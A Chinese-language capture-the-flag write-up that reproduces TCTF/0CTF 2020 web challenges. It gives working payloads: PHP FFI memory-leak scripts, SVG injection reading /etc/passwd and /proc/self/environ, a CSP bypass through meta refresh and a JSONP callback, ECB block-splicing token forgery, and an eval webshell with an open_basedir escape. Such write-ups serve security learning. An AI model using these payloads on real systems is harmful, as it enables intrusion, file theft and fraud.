2020 TCTF0CTF Web题目复现

TCTF几道Web题目复现

0x01 easyphp&noteasyphp

限制了disable_function和openbase_dir.

首先可以利用glob来列根目录

image-20200707123003919

读不了文件,看phpinfo开了FFI扩展,参考飘零师傅和CJm00n师傅的博客,题目需要利用FFI的memcpy来泄露内存。

1
2
3
4
5
6
7
//php ffi捕获异常
try{
$ffi = FFI::cdef("int test()",);
}
catch(FFI\Exception $ex){
echo $ex->getMessage(),PHP_EOL;
}

image-20200707144552484

题目禁止了cdef。然后去看看FFI的其他函数

image-20200707144702756

  • load():可以从C的头文件加载C声明。

  • new():创建一个C数据结构,第一个参数是数据类型,第二个参数可以确定是创建拥有(即托管)数据还是非托管数据。 托管数据与返回的FFI \ CData对象一起存在,并在通过常规PHP引用计数或GC释放对该对象的最后一个引用时释放。 当不再需要时,应通过调用FFI :: free()释放非托管数据。若为false,即不会自动free。

  • memcpy():将size大小的字节从内存区域src复制到内存区域dst。

  • string():从内存区域创建PHP字符串。

  • arrayType():动态构造一个新的C数组类型,其元素类型由类型定义,维数由第二个参数指定。

泄露的步骤:

  1. 首先加载flag.h
  2. 开辟一个存放字符数组的空间,保存首元素的地址。
  3. 开辟一个用来存放复制内容的空间,保存首元素的空间。
  4. 将等2步得到的地址向前推一个大的范围,复制到第3步得到的地址中。
  5. 利用string将复制的内容变成字符串,打印出来。

cjm00n

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
import re
import json

url = "http://pwnable.org:19261/"
sess = requests.Session()

def exp():
param = {
"rh":
'''
try {
$ffi=FFI::load("/flag.h");
$a = $ffi->new("char[8]", false);
$leak = FFI::new(FFI::arrayType(FFI::type('char'), [102400]), false);
FFI::memcpy($leak, $a-0x24000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
'''
}
resp = sess.get(url, params=param).text
print(resp)
open("out", "w", encoding="utf-8").write(resp)


if __name__ == "__main__":
exp()

image-20200707144913364

运行函数获得flag。

1
2
3
4
5
6
7
try {
$ffi=FFI::load("/flag.h");
$a =($ffi->flag_fUn3t1on_fFi());
var_dump(FFI::string($a,50));
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}

image-20200707152953562

nu1l

1
$flag=FFI::load("/flag.h");$char=$flag->new("char[0x30]",false);$char=FFI::addr($char);FFI::free($char);$loadflag=FFI::load("/flag.h");print_r($char);

sky

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {
$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}
$a = $ffi->new("char[8]", false);
$a[0] = 'f';
$a[1] = 'l';
$a[2] = 'a';
$a[3] = 'g';
$a[4] = 'f';
$a[5] = 'l';
$a[6] = 'a';
$a[7] = 'g';
$b = $ffi->new("char[8]", false);
$b[0] = 'f';
$b[1] = 'l';
$b[2] = 'a';
$b[3] = 'g';
$newa = $ffi->cast("void*", $a);
var_dump($newa);
$newb = $ffi->cast("void*", $b);
var_dump($newb);

$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);

$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);
$tmp = FFI::string($leak,102400);
var_dump($tmp);

//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

非预期

https://ctftime.org/task/12159

0x02 Wechat Generator

有两个路由,分别时/share和/preview

可以输入消息,点击preview,得到预览界面。点击share,跳到一个分享图片的链接。

image-20200703234622195

image-20200703234741264

然后访问这个图片,http://pwnable.org:5000/image/tAWfUu/png

将后面的png改成htm或svg可以得到http://pwnable.org:5000/image/tAWfUu/svg

image-20200703235629001

然后在发送表情包的时候发现如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /preview HTTP/1.1
Host: pwnable.org:5000
Content-Length: 46
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://pwnable.org:5000
Referer: http://pwnable.org:5000/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Connection: close

data=[{"type":0,"message":"Mount4in [smile]"}]

image-20200703235518881

之后发现可以在smile后面加上双引号闭合前面,然后利用使用 xlink:href读文件。

1
data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/flag\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}]

image-20200702234459101

显示Good job

image-20200702234535125

1
[smile.png"/><image width="1200" height="1200" href="text:/etc/passwd"/> <image href="x]

https://oioki.me/2020/07/0ctf-tctf-2020-quals/这种方法也可以读文件

之后读/proc/self/environ,发现有过滤,双写可以绕过。

1
data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/proc/self/environ\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}]

image-20200702234657290

1
data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/prprococ/self/enenvviron\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}]

image-20200702234859538

image-20200702235047336

继续读/proc/self/maps

1
data=[{"type":0,"message":"[smile\"/> <image xlink:href=\"text:/prprococ/self/maps\" x=\"0\" y=\"0\" height=\"640px\" width=\"480px\"/>]Love you!"}]

image-20200702235153918

image-20200702235414315

之后读/app/app.py

image-20200702235556740

看到/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws路由,需要alert(1)才可以读到flag,有CSP如下:

1
Content-Security-Policy: img-src * data:; default-src 'self'; style-src 'self' 'unsafe-inline'; connect-src 'self'; object-src 'none'; base-uri 'self'

利用meta refresh进行跳转,在服务器上放

1
<script>alert(1)</script>
1
[{"type":0,"message":"Love you!"},{"type":1,"message":"[pout\"/><memetata http-equiv=\"refresh\" content=\"0; url=http://*******/0ctf/\"></memetata>\"]Me too!!!"}]

image-20200703235118990

image-20200704000825506

image-20200703234318318

还有另一种做法,绕过CSP,因为要同源,所以要找到http://pwnable.org:5000同源的里面包含alert(1),@hyperreality师傅在http://pwnable.org:5000/image/DFBkps/png?callback找到了callback参数,而且可以添加引号闭合,构造出alert(1)。

image-20200707165651426

image-20200707165745653

将这个链接添加到

1
[{"type":0,"message":"Love you!"},{"type":1,"message":"[lmfao.png\"/> <script xlink:href=\"http://pwnable.org:5000/image/xzEHbO/png?callback=d='\" /> ] "}]

然后得到share的图片链接

1
{"url": "http://pwnable.org:5000/share/eDlIfk"}

访问http://pwnable.org:5000/image/eDlIfk/svg

image-20200707165905869

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import base64
import json
>import requests


def preview(svg_data):
data = {
'data': svg_data
}
response = requests.post('http://pwnable.org:5000/preview', data=data)
print(response.text[:100])
resp = json.loads(response.text)

previewid = resp["previewid"]
data = resp["data"]

return resp["previewid"], resp["data"]

def share(previewid):
data = {
'previewid': previewid
}
response = requests.post('http://pwnable.org:5000/share', data=data)
print(response.text[:100])
resp = json.loads(response.text)

return resp["url"]


### Stage 1: read files

# URL = "http://r0p.me/bla.svg"
# URL = "text:/etc/os-release"
# URL = "text:/proc/self/environ"
# URL = "text:/flag"
# URL = "text:/usr/share/ghostscript/9.27/Resource/Init/gs_ll3.ps"
# URL = "text:/etc/ImageMagick-6/policy.xml"
URL = "text:/app/app.py"
svg_data = '[{"type":0,"message":"Love you!"},{"type":1,"message":"[lmfao.png\\"/> <image height=\\"1600\\" width=\\"1000\\" xlink:href=\\"' + URL + '\\" /> ] "}]'
previewid, data = preview(svg_data)

svg_decoded = base64.b64decode(data.split(',')[1])
# print(svg_decoded)

url = share(previewid)
png_link = f"{url.replace('share', 'image')}/png"
svg_link = f"{url.replace('share', 'image')}/svg"
print(png_link)
print(svg_link)
# visit_png = requests.get(png_link) # Trigger the HTTP request


### Stage 2: get the flag

def admin(link):
data = {
'url': link
}
response = requests.post('http://pwnable.org:5000/SUp3r_S3cret_URL/0Nly_4dM1n_Kn0ws', data=data)
print(response.text)

injected_previewid = """' + alert(1); b = {'c': " """
url = share(injected_previewid)
png_link = f"{url.replace('share', 'image')}/png" # This URL returns an error which we can manipulate with callback

malicious_link = f"{png_link}?callback=a='"

svg_data = '[{"type":0,"message":"Love you!"},{"type":1,"message":"[lmfao.png\\"/> <script xlink:href=\\"' + malicious_link + '\\" /> ] "}]'
previewid, data = preview(svg_data)
url = share(previewid)
svg_link = f"{url.replace('share', 'image')}/svg"

path_only = svg_link.replace('http://pwnable.org:5000', '')

admin(path_only)

https://github.com/hyperreality/ctf-writeups/blob/master/2020_tctf/wechat_solve.py

0x03 lottery

http://pwnable.org:2333/index.html

有如下几个路由:

uer/register 注册

user/login 登录

lottery/buy 用钱买彩票,可以得到enc

lottery/info 得到enc解密消息,包括userid lotteryid coin

lottery/charge 兑换

修改coin和userid都不可以,那么就是要分析密文了。找几组enc,base64解密后变成十六进制。

1
2
3
4
enc1 = "uO3FId8cC%2FcMSJWDrHEIrWAiUTho2AhhKiG8qMm97OFT7u7T1iP3G69pp6bKzzskQdhwNiABgT0Z7DMcD6Ak4gw7PbdNt%2BNkc1TVOlnCf3buJDg1LVhP%2B6b8pAXj6WRmfZKdxFMoBME3TgxrN8viG%2FbSt9reYD8AcCI4hIXsxZg%3D"
enc2 = "V3evI3E%2FuuiKZWrHEZ3oqoMNZp9ANL4LMFX2VtEfxIwBI8hEQRsYMDIA68eFNVSFaHSV4HX%2F1rpZXB%2BS1ml48Aw7PbdNt%2BNkc1TVOlnCf3buJDg1LVhP%2B6b8pAXj6WRmS9523eKWmeG4xnF%2F1YrQQ%2FbSt9reYD8AcCI4hIXsxZg%3D"
enc3 = "JoWNsPteqpYQPCeb4qyZmKW9YY7N4nmipnLhp5VnnKkYDhRSv4mKCV3MQ4AKjQlcBw%2F%2BpM3dZ9ZZDCFz4XXvEww7PbdNt%2BNkc1TVOlnCf3buJDg1LVhP%2B6b8pAXj6WRmseX2ZnXgak2Q9%2BrPTFTzTPbSt9reYD8AcCI4hIXsxZg%3D"
enc4 = "wHHv0RlzbcX5hjFrmcB4EnX9PDT13HUC6kRcQeOh2toHnCAvyI%2BNfi78JwhQA%2F%2F7CIG%2BiTlAsgxiPGeXkTVGAgw7PbdNt%2BNkc1TVOlnCf3buJDg1LVhP%2B6b8pAXj6WRmS9523eKWmeG4xnF%2F1YrQQ%2FbSt9reYD8AcCI4hIXsxZg%3D"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
b8edc521df1c0bf70c489583ac7108ad6022513868d808612a21bca8c9bdece153eeeed3d623f71baf69a7a6cacf3b2441d870362001813d19ec331c0fa024e20c3b3db74db7e3647354d53a59c27f76ee2438352d584ffba6fca405e3e964667d929dc4532804c1374e0c6b37cbe21bf6d2b7dade603f007022388485ecc598
b8edc521df1c0bf70c489583ac7108ad
6022513868d808612a21bca8c9bdece1
53eeeed3d623f71baf69a7a6cacf3b24
41d870362001813d19ec331c0fa024e2
0c3b3db74db7e3647354d53a59c27f76
ee2438352d584ffba6fca405e3e96466
7d929dc4532804c1374e0c6b37cbe21b
f6d2b7dade603f007022388485ecc598


5777af23713fbae88a656ac7119de8aa830d669f4034be0b3055f656d11fc48c0123c844411b18303200ebc785355485687495e075ffd6ba595c1f92d66978f00c3b3db74db7e3647354d53a59c27f76ee2438352d584ffba6fca405e3e964664bde76dde29699e1b8c6717fd58ad043f6d2b7dade603f007022388485ecc598
5777af23713fbae88a656ac7119de8aa
830d669f4034be0b3055f656d11fc48c
0123c844411b18303200ebc785355485
687495e075ffd6ba595c1f92d66978f0
0c3b3db74db7e3647354d53a59c27f76
ee2438352d584ffba6fca405e3e96466
4bde76dde29699e1b8c6717fd58ad043
f6d2b7dade603f007022388485ecc598


26858db0fb5eaa96103c279be2ac9998a5bd618ecde279a2a672e1a795679ca9180e1452bf898a095dcc43800a8d095c070ffea4cddd67d6590c2173e175ef130c3b3db74db7e3647354d53a59c27f76ee2438352d584ffba6fca405e3e96466b1e5f66675e06a4d90f7eacf4c54f34cf6d2b7dade603f007022388485ecc598
26858db0fb5eaa96103c279be2ac9998
a5bd618ecde279a2a672e1a795679ca9
180e1452bf898a095dcc43800a8d095c
070ffea4cddd67d6590c2173e175ef13
0c3b3db74db7e3647354d53a59c27f76
ee2438352d584ffba6fca405e3e96466
b1e5f66675e06a4d90f7eacf4c54f34c
f6d2b7dade603f007022388485ecc598


c071efd119736dc5f986316b99c0781275fd3c34f5dc7502ea445c41e3a1dada079c202fc88f8d7e2efc27085003fffb0881be893940b20c623c6797913546020c3b3db74db7e3647354d53a59c27f76ee2438352d584ffba6fca405e3e964664bde76dde29699e1b8c6717fd58ad043f6d2b7dade603f007022388485ecc598
c071efd119736dc5f986316b99c07812
75fd3c34f5dc7502ea445c41e3a1dada
079c202fc88f8d7e2efc27085003fffb
0881be893940b20c623c679791354602
0c3b3db74db7e3647354d53a59c27f76
ee2438352d584ffba6fca405e3e96466
4bde76dde29699e1b8c6717fd58ad043
f6d2b7dade603f007022388485ecc598

可以看出是分组密码,采用的是ECB模式
每组有16字节,128位
密文共有8组,128字节

因为有/info可以解密,所以可以测试分组的规律。

用两个user、coin相同的,lottery不同来判断lottery的位置。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
n634F%2Fu7aGYxw8sv3N34F7xISHbfGeHavxo82CFF6GIKsCqbsT1QJTR8X6ehi68XFnee8i%2B8x8bwoSsy2ZJnzx6n0wnptbiUy%2B729fczcNavFwXL3xBqQk9DnZWPX8q%2BeZ%2FMfLiNQVm%2FdAlU93aBTfbSt9reYD8AcCI4hIXsxZg%3D
{"info":{"lottery":"6a564b59-1a3b-4ecc-aaa1-3bd1b2cfe7b3","user":"8e60dd01-be04-4932-a1c6-7eb70d57423a","coin":6}}

xSjWMxj9VTzGLTnYR00pWHlHT2e8CKzrh%2FQg%2BWyPIBrS6pwgQBUKDEmb1toU1j08LWID2CcmlHmD3tPtP4H2dh6n0wnptbiUy%2B729fczcNavFwXL3xBqQk9DnZWPX8q%2BeZ%2FMfLiNQVm%2FdAlU93aBTfbSt9reYD8AcCI4hIXsxZg%3D
{"info":{"lottery":"fd79618b-2579-4c60-ad38-a9efea2be4ed","user":"8e60dd01-be04-4932-a1c6-7eb70d57423a","coin":6}}

9fadf817fbbb686631c3cb2fdcddf817bc484876df19e1dabf1a3cd82145e8620ab02a9bb13d5025347c5fa7a18baf1716779ef22fbcc7c6f0a12b32d99267cf1ea7d309e9b5b894cbeef6f5f73370d6af1705cbdf106a424f439d958f5fcabe799fcc7cb88d4159bf740954f776814df6d2b7dade603f007022388485ecc598
9fadf817fbbb686631c3cb2fdcddf817
bc484876df19e1dabf1a3cd82145e862
0ab02a9bb13d5025347c5fa7a18baf17
16779ef22fbcc7c6f0a12b32d99267cf
1ea7d309e9b5b894cbeef6f5f73370d6
af1705cbdf106a424f439d958f5fcabe
799fcc7cb88d4159bf740954f776814d
f6d2b7dade603f007022388485ecc598


c528d63318fd553cc62d39d8474d295879474f67bc08aceb87f420f96c8f201ad2ea9c2040150a0c499bd6da14d63d3c2d6203d82726947983ded3ed3f81f6761ea7d309e9b5b894cbeef6f5f73370d6af1705cbdf106a424f439d958f5fcabe799fcc7cb88d4159bf740954f776814df6d2b7dade603f007022388485ecc598
c528d63318fd553cc62d39d8474d2958
79474f67bc08aceb87f420f96c8f201a
d2ea9c2040150a0c499bd6da14d63d3c
2d6203d82726947983ded3ed3f81f676
1ea7d309e9b5b894cbeef6f5f73370d6
af1705cbdf106a424f439d958f5fcabe
799fcc7cb88d4159bf740954f776814d
f6d2b7dade603f007022388485ecc598

后四组相同,说明第四组中含有lottery,可能含有user的userid(无法找到只有userid不同的两个enc),可以用找两个userid不同的enc,base解密后,第一个的前四组和第二个的后四组拼接在一起发送,看是否成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from base64 import b64decode,b64encode
from urllib import unquote
import requests

enc1 = "n634F%2Fu7aGYxw8sv3N34F7xISHbfGeHavxo82CFF6GIKsCqbsT1QJTR8X6ehi68XFnee8i%2B8x8bwoSsy2ZJnzx6n0wnptbiUy%2B729fczcNavFwXL3xBqQk9DnZWPX8q%2BeZ%2FMfLiNQVm%2FdAlU93aBTfbSt9reYD8AcCI4hIXsxZg%3D"
#{"info":{"lottery":"6a564b59-1a3b-4ecc-aaa1-3bd1b2cfe7b3","user":"8e60dd01-be04-4932-a1c6-7eb70d57423a","coin":6}}
enc2 = "wHHv0RlzbcX5hjFrmcB4EnX9PDT13HUC6kRcQeOh2toHnCAvyI%2BNfi78JwhQA%2F%2F7CIG%2BiTlAsgxiPGeXkTVGAgw7PbdNt%2BNkc1TVOlnCf3buJDg1LVhP%2B6b8pAXj6WRmS9523eKWmeG4xnF%2F1YrQQ%2FbSt9reYD8AcCI4hIXsxZg%3D"
#{"info":{"lottery":"f838f210-9932-4d6a-98ae-9d22758c2554","user":"263020e2-8add-4c0c-a5dc-4659556890e5","coin":2}}


ci1 = b64decode(unquote(enc1))
print ci1+"\n"
ci2 = b64decode(unquote(enc2))
print ci2+"\n"
ci3 = ci1[:64]+ci2[64:]
print ci1[:64]
print ci2[64:]

print b64encode(ci3)
data = {"enc":b64encode(ci3)}
print requests.post("http://pwnable.org:2333/lottery/info",data=data).text
#{"info":{"lottery":"6a564b59-1a3b-4ecc-aaa1-3bd1b2cfe7b3","user":"8e3020e2-8add-4c0c-a5dc-4659556890e5","coin":2}}

从上面可以看出解密得到的结果

image-20200707085633140

加密时分组的第四组包括userid的前两位,所以只要注册几个userid的前两位相同的用户,然后将买到彩票得到的enc后四组全部替换到一个user,就可以把钱都转移到一个user中。

  1. 注册得到一个uuid开头是76的用户,保存他买彩票得到的enc。

    1
    2
    {"enc":"Ht3U37\/f5B2DfJue3XduaO9fK591DAP7mCPmZu13mZKmem+107YSQA07GKGGrezJlzhJ3cBJCvdxwpLj4N3dz\/VxMdT9mIEQ2hBe+qQKHtagwQ3B2ZAN9gvW2j57Xpqp8zuNPhJ\/H0kmQaeAAqobYPhIZnVHgXwIkkuehhS\/11g="}
    {"info":{"lottery":"7443b465-8661-4770-8942-d7d4fc5ec47c","user":"7638b0fb-7651-4c68-a02e-dc1753a2eb10","coin":10}}
  2. 继续注册寻找uuid开头为76的用户,找到就买彩票(可以买三次),将得到的enc base64解密后前四组,加上前面得到用户enc base64解密的后四组,去charge。

  3. 之后买flag

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
from base64 import b64decode,b64encode
from urllib import unquote
import requests
import json
import random
import string
url = "http://pwnable.org:2333/"
proxy = {"http":"http://127.0.0.1:8080"}

def register(username):
data = {"username":username,"password":"abcdefg"}
re = requests.post(url+"user/register",data = data,proxies=proxy)
return json.loads(re.text)["user"]

def login(username,password="abcdefg"):
data = {"username":username,"password":password}
re = requests.post(url+"user/login",data = data,proxies=proxy)
return json.loads(re.text)["user"]

def buy(apitoken):
data = {"api_token":apitoken}
cookie = {"api_token":apitoken}
re = requests.post(url+"lottery/buy",data = data,cookies=cookie,proxies=proxy)
return json.loads(re.text)["enc"]

def charge(enc,apitoken):
data = {"user":"7638b0fb-7651-4c68-a02e-dc1753a2eb10","coin":"10","enc":enc}
cookie = {"api_token":apitoken}
re = requests.post(url+"lottery/charge",data = data,cookies = cookie,proxies=proxy)
return re.text


enc1 = "Ht3U37%2Ff5B2DfJue3XduaO9fK591DAP7mCPmZu13mZKmem%2B107YSQA07GKGGrezJlzhJ3cBJCvdxwpLj4N3dz%2FVxMdT9mIEQ2hBe%2BqQKHtagwQ3B2ZAN9gvW2j57Xpqp8zuNPhJ%2FH0kmQaeAAqobYPhIZnVHgXwIkkuehhS%2F11g%3D"
ci1 = b64decode(unquote(enc1))

while(1):
username = ''.join(random.sample(string.ascii_letters + string.digits, 10))
user = register(username)
print user["uuid"]
tmp = 1
if(user["uuid"][:2] == "76"):
for i in range(3):
user = login(username)
enc = buy(user["api_token"])
ci2 = b64decode(unquote(enc))
ci3 = ci2[:64]+ci1[64:]
data = {"enc":b64encode(ci3)}
print requests.post("http://pwnable.org:2333/lottery/info",data=data,proxies=proxy).text
print charge(b64encode(ci3),user["api_token"])
tmp +=1
if tmp > 6:
break

image-20200707100729914

nu1l做法:

任意注册账号,只要info[“lottery”]后两位为f6,然后拼接原user的enc。

image-20200707103111591

个人感觉出现漏洞的原因是在兑换彩票时,服务器没有检查兑换彩票的人是不是买彩票的人。应该禁止线上代理兑换彩票。

0x04 Cloud Computing

sandbox/0d3875a1ef234783393169ab868290f038826727/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php

error_reporting(0);

include 'function.php';

$dir = 'sandbox/' . sha1($_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']) . '/';

if(!file_exists($dir)){
mkdir($dir);
}

switch ($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
if (waf($data)) {
die('waf sucks...');
}
file_put_contents("$dir" . "index.php", $data);
case 'shell':
initShellEnv($dir);
include $dir . "index.php";
break;
default:
highlight_file(__FILE__);
break;
}

没有报错,过滤了很多利用eval(end(getallheaders()));

利用error_reporting(-1);开启报错。

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?action=upload&data=<?=eval(end(getallheaders())); HTTP/1.1
Host: pwnable.org:47780
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
Connection: eval($_POST[cmd]);

cmd=error_reporting(-1);echo 233;

不能看phpinfo(),利用报错可以知道有open_basedir限制,因为在sandbox里可以新建文件夹,然后

1
2
3
4
5
6
7
8
9
10
11
12
13
POST /?action=upload&data=<?=eval(end(getallheaders())); HTTP/1.1
Host: pwnable.org:47780
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Content-Type: application/x-www-form-urlencoded
Content-Length: 241
Connection: eval($_POST[cmd]);

cmd=chdir('sandbox/0d3875a1ef234783393169ab868290f038826727/');mkdir("img");chdir("img");ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');var_dump(scandir('/'));

image-20200707210915967

然后读flag。是乱码,看wp说是用foremost得到flag,没有试成功。

0x05 Cloud Computing v2

var_dump(get_defined_functions(1));可以得到可用的函数。

web go逆向,代码同上一题,禁了chdir、chr、dir、scandir、mb_send_mail、ob_end_clean、ob_get_contents、ob_start、readdir、realpath这些函数。

不能用chdir来绕过open_basedir。内网开了80端口,

image-20200707222532253

下载/agent

之后就是逆向了。。。。。。。。。。。。。。。。

0x06 amp2020

image-20200706211703521

http://pwnable.org:33000/users/login

参考

https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/

http://igml.top/2020/06/29/2020-TCTF-0CTF-%E9%83%A8%E5%88%86wp/

https://cjm00n.top/CTF/tctf-2020-wp.html